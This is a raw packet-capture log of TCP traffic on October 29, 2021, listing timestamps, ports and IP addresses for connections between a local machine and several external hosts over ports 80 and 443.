Oct 29, 2021 14:11:13.504736900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504775047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504815102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504872084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504911900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504950047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.504987955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505024910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505064011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505099058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505136013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505172968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.505173922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505211115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505248070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505285978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505323887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505362988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505398989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505435944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505474091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505508900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505547047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505584955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505624056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505661964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505698919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505737066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505774021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505811930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505848885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505886078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505924940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.505964041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506000042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506038904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506077051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506114960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506151915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506170988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.506190062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506227970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506267071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506304979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506321907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506337881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506355047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.506371975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.507172108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.507797003 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.507824898 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.508023977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508043051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508059978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508076906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508094072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508111954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508127928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508145094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508162022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508178949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508181095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.508183956 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.508194923 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.508196115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508213043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508230925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508245945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508263111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508280993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508296967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.508313894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.509170055 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.510176897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.510190010 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.510206938 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.511179924 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.511784077 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.511795998 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.512171984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.513267040 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.514167070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.515178919 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.516194105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.517184019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.518194914 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.518198967 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.519176960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.520173073 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.520175934 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.520509005 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.521204948 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.525605917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.526196957 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526218891 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526281118 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526325941 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526350975 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526367903 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526427031 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526460886 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526525974 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.526577950 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.527211905 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.527240992 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.527266979 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.528192043 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.528886080 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.528980970 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.537491083 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.539807081 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.540345907 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.540391922 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.540544033 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.540585041 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.540676117 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.540715933 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.541187048 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.541202068 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.541245937 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.542184114 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.542197943 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.542248011 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.543163061 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.543179035 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.544179916 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.544194937 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.545186996 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.545197964 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.546175957 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.546188116 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.547178030 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.547188044 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.548178911 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.548191071 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.549184084 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.549195051 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.549240112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.549304008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.550165892 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.550189018 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.550261021 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.551176071 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.552169085 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.552181959 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.553188086 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.554032087 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.554048061 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.554178953 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.554184914 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.555169106 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.555183887 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.555206060 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.556165934 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.557163000 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.557176113 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.558176994 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.558190107 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.559164047 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.559174061 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.560162067 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.560169935 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.561178923 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.561191082 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.562170982 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.562181950 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.563189030 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.563230038 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.563591003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563611031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563627958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563657045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563680887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563704014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563730001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563759089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563781977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.563800097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.564193010 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.564207077 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565186977 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565205097 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565315008 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565402031 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565413952 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565433979 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565490961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.565500021 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565512896 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565531969 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565588951 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565599918 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565670967 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565682888 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.565800905 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565871000 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.565952063 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.566023111 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.569336891 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.569402933 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.569664955 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.569705963 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.570239067 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.570278883 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.570323944 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.570363998 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.570494890 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.570530891 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.571139097 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.571172953 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.571278095 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.572177887 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.573180914 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.573182106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.573199987 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.573201895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.573991060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574007034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574042082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574059010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574074984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574091911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574107885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574150085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574196100 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574249983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574280977 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574281931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574294090 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.574299097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574316978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574321032 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.574331999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574345112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574359894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574373007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574376106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574387074 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574393034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574409008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574439049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574444056 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574481964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574498892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574515104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574523926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574529886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574542999 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574547052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574562073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574578047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574594021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574613094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574630022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574644089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574673891 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574716091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574721098 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574733019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574748993 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574748993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574773073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574779987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574805975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.574810028 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.574826002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574842930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.574991941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575009108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575022936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575054884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575072050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575087070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575143099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575160027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575175047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575184107 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.575191021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575208902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575225115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575241089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575258017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575273037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575290918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575308084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575377941 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.575454950 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.575484991 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.575970888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.575988054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576003075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576018095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576034069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576049089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576066017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.576181889 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.577035904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.577053070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.577068090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.577275038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.577958107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.577975988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.577991009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.578006983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.578178883 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.579111099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579125881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579143047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579159975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579174995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579190969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.579205990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580158949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.580204964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580246925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580262899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580279112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580296040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.580311060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581062078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581079006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581094980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581110954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581125975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581142902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.581151962 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.582139969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.582567930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.582653999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.582669973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.582685947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.582701921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.582717896 CEST	80	50094	193.56.146.214	192.168.2.3
